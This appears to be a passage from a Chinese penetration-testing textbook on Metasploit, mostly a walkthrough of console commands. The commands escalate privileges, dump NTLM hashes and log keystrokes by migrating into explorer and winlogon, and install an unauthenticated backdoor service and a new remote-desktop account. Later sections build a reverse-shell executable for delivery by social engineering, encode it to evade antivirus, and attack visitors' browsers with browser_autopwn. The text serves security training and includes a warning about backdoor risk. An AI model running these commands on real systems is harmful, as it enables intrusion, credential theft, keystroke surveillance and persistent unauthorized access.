上述指令将会显示提升权限的各种技术。如果不启用任何选项,直接使用getsystem指令将会 逐一尝试各种提权技术,直到成功提升到系统权限为止。
meterpreter > getsystem ...got system (via technique 1).
meterpreter > getuid
meterpreter > sysinfo
Computer: CUSTDESK OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
如果在指令中启用exploit -j -z选项,那么漏洞利用程序将会在后台运行,您也不会进入交互式 的Meterpreter shell。但是,如果程序成功建立了会话,您可以通过
Sessions -i id指令返回 shell的交互界面。如需了解会话的ID,可使用sessions -l指令查看ID的确切值。
接下来,我们要获取被测主机的系统账户和密码。Windows以NTLM哈希(hash)的格式保 存用户的账号信息。很多工具和技术都可以** NTLM 哈希。现在我们一起见证Meterpreter 的真正威力。
meterpreter > run hashdump
接下来,我们通过Meterpreter shell 运行keylog 程序,记录键盘输入的内容。键盘敲击记录 可能含有目标主机的多项敏感信息。
meterpreter > getuid
接下来,我们把 Meterpreter shell 插入 explorer.exe 的进程(3172),以便开始记录当前用 户对系统的操作,所涉及的指令如下。
meterpreter > migrate 3172
现在就可以启动键盘记录程序。此后,我们等待程序录取键盘记录。
meterpreter > keyscan_dump
meterpreter > keyscan_stop
上述信息表明,键盘记录程序记录了被测主机的网上活动。类似地,我们可以把它注入到 winlogon.exe(pid 648)进程里,获取所有账户的登录信息。
经过上述操作,我们已经获取了被测主机的操作权限。但是如果目标主机安装了漏洞修复程 序的补丁,我们就无法利用原有漏洞攻击有关服务或应用程序。为了避免这一情况,我们可 以通过常人所说的“后门”服务程序维护自己对目标主机的控制。务必要注意:一旦在被测主机 上安装了 Meterpreter提供的后门服务程序,所有人都可以控制被测主机;因为这个后面服务 程序不对连入的控制端进行身份验证。换句话说,这个程序可能会让不请自来的人控制被测 主机,这无疑是对被测单位形成了安全威胁。在正式的渗透测试业务中,这种有利于第三方 攻击的行为通常都被服务合同明文禁止。所以,我们不建议您在正式的测试环境中使用 Meterpreter 提供的后门服务程序。您也应当在拟定合同的范围界定阶段明确有关规则。
msf exploit(ms08_067_netapi) > exploit
meterpreter > ps
meterpreter > migrate 1544
通过上述指令,我们在被测主机上安装了后门服务程序,现在可以关闭当前的meterpreter会 话。在需要控制被测主机的时候,我们可以调用multi/handler中的windows/metsvc_bind_tcp payload,通过后门控制远程主机。
meterpreter > exit
msf exploit(ms08_067_netapi) > back msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
msf exploit(handler) > set RHOST 192.168.0.7
msf exploit(handler) > exploit
meterpreter > getuid
此外,Meterpreter 的 getgui 脚本也很有用,它可开启目标主机的远程桌面功能。如需在目标 主机上创建新的账号,并强制启用远程桌面服务,可使用下述指令。
meterpreter > run getgui -u btuser -p btpass
现在,我们可通过 rdesktop 程序登录目标主机。我们新建一个终端窗口,并在其中输入下述 指令。
#rdesktop 192.168.0.7:3389
请注意:如果已经**了目标主机的账户名和密码,就不需要新建任何账号,直接执行 run getgui -e 命令启用远程桌面就可以了。另外,在完成渗透工作以后,记得要在Meterpreter shell 里使用getgui/clean_up 脚本程序,以清理痕迹。
如果目标网络不可从外部直接访问,那么应该采取那些手段进一步渗透该网络呢?
Metasploit能够通过跳板进行操作。您可通过routeaddtargetSubnettargetSubnetMask SessionId 的指令,将某个会话指定为跳板。此处 SessionId 指代已经建立的 Meterpreter 会 话(即跳板网关), targetsubnet参数指代下一步需要测试的网段(如果被攻陷的主机是双网 设备,则可以是它的另一个网段)。Metasploit会通过跳板转发指定的网络流量,这样就可以 继续渗透、测试那些无法直接访问到的网络设备。转发流量的主机,就是通常所说的“跳 板”或“立足点”。
场景4
上述案例演示了Metasploit框架利用被测主机的远程漏洞的具体方法。那么如何利用客户端程 序的漏洞(client-side exploitation)呢?就此问题,本文将以渗透测试人员的角度,通过典型 案例介绍Metasploit在利用客户端程序的漏洞方面的角色,帮助读者了解它的灵活性和强大功 能。
生成后门程序
Metasploit 的 msfpayload 工具能够生成可单独运行的、执行指定 Metasploit payload的后门 程序。如果只能采取社会工程学手段对目标进行渗透,那么这种手段就真是救命稻草了。在 本例中,我们将生成一个带有reverse shell payload的可执行文件,然后把它发给目标人物, 诱使他/她执行这个文件。msfpayload程序可以生成多种语言的程序,输出Perl、C、Raw、 Ruby、JavaScript、Exe、DLL和VBA等格式的文件。
如需启动msfpayload工具,可在shell中执行下述指令。
#msfpayload -h
上述指令将会显示它的使用说明,并列出所有可用的payload。它的指令格式和MSFCLI非常 相似。现在,我们通过下述指令创建一个带有reverse shell payload 的可执行程序。
#msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 O
#msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X >/tmp/poker.exe
这样,我们就生成了自己的后门程序。在把它发送到受害人或目标之前,您必须在 MSFConsle里使用multi/handler做好服务端的准备,以便它可受理可执行文件连入本机的请 求。这时候,要使multi/handler的配置和msfpayload在创建程序时的配置相匹配。
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
msf exploit(handler) > show options
... msf exploit(handler) > set LHOST 192.168.0.3
msf exploit(handler) > set LPORT 33333
msf exploit(handler) > exploit
现在,我们可以把准备好的Windows可执行文件通过社会工程欺骗方法发送给目标机器,然后等待对方运行。
如果在 MSFConsole 里看见了上述信息,就表明目标主机发起了 reverse shell,我们成功地 连接到了被测主机的shell,圆满地完成了任务。
Metasploit生成的文件能否规避杀毒软件的检测?
有很多种方法可以规避杀毒软件的检测,本文只介绍其中的一种。我们可使 用/usr/bin/msfencode目录下的msfencode工具,对可执行文件进行保护性封装。在使用 msfpayload 程序生成可执行文件时,使用管道命令把文件内容传给 msfencode 再生成最终文 件。例如,下述指令将生成带有reverse shell的可执行文件,并对文件进行保护性封装: msfpayload windows/ shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | msfencode -e x86/shikata_ga_nai -t exe>/tmp/tictoe。在规避检测方面,staged payload的成功率大于 inlinepayload。
- 自动化浏览器漏洞利用
在测试较为安全的企业网络时,渗透人员往往不知从何处入手。在这种情况下,以使用电子 设备的人员为目标,或以员工为首要目标开展社会工程学攻击可能是唯一的方向。本例将使 用 Metasploit 框架的客户端漏洞利用模板,以演示基于技术手段的社会工程学攻击。下面将 介绍一款先进的辅助工具——Browser autopwn。在目标人员访问它构建的恶意URL 的情况 下,它能够识别出被测主机的浏览器类型,并根据识别结果自动从框架中选用针对该浏览器 的exploit程序对浏览器发起攻击。有关的指令及运行结果如下。
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > show options
...
msf auxiliary(browser_autopwn) > set LHOST 192.168.0.3
msf auxiliary(browser_autopwn) > set SRVPORT 80
msf auxiliary(browser_autopwn) > set SRVHOST 192.168.0.3
msf auxiliary(browser_autopwn) > set URIPATH / URIPATH => /
msf auxiliary(browser_autopwn) > run
一旦目标人员访问了恶意URL(http://192.168.0.3),程序将会识别出他的/她的浏览器,并 执行相应的漏洞利用程序。在此以后,我们就可以通过客户端利用程序渗透目标主机。
msf auxiliary(browser_autopwn) > sessions -i 1
meterpreter > getuid
上述信息表明,我们已经利用客户端的攻击程序成功渗透到目标主机。应当指出的是,这些 Web浏览器的exploit程序,每个都只能对特定版本的特定浏览器(例如Intenet Explorer、 Firefox、Opera等)进行攻击。
- 编写漏洞利用模板
Metasploit 框架最引人注目之处在于它可以独立开发 exploit 程序。本节将围绕 exploit开发的 核心问题进行讨论,通过生动的例子演示使用 Metasploit 框架的数据库构造 exploit的关键步 骤。然而,在使用这个框架编写自己的 exploit 程序之前,您需要理解一些 Ruby编程的基础 知识。另外,您还需要掌握****的基本技能,并切实理解漏洞挖掘工具(如fuzzers和 debuggers)的使用方法。只有兼备上述技能,您才能按步就班地构造exploit程序。本节的内 容仅作为有关研发的简略介绍,在完整程度上可能存在欠缺。
本例将针对 EasyFTP Server(1.7.0.11 以下版本)编写利用 MKD Command Stack Buffer Overflow 漏洞的shellcode 程序,它能够反映编写缓冲区溢出exploit 的大致方法。您可以针对 其他FTP服务端程序的相似漏洞,举一反三地编写exploit程序。这个exploit的源代码的下载网址是/usr/share/metasploit- framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb。
总结
本文介绍了利用目标漏洞的几个关键点。开篇首先展示了漏洞检测的全过程,并强调了有关 工作所需的知识和技巧。功能强大的Kali Linux 是漏洞评估工作的利器。本章接下来列举出了 发布各种已公布漏洞和exploit程序的网站。本章的最后篇幅演示了髙级漏洞利用工具集—— Metasploit框架。文中借助大量实例,介绍了通过各种利用漏洞获取被测目标控制权的方法。 此外,本文还深入浅出地介绍了编写漏洞利用代码的各个环节,阐述了exploit程序的基本框架 和编写策略。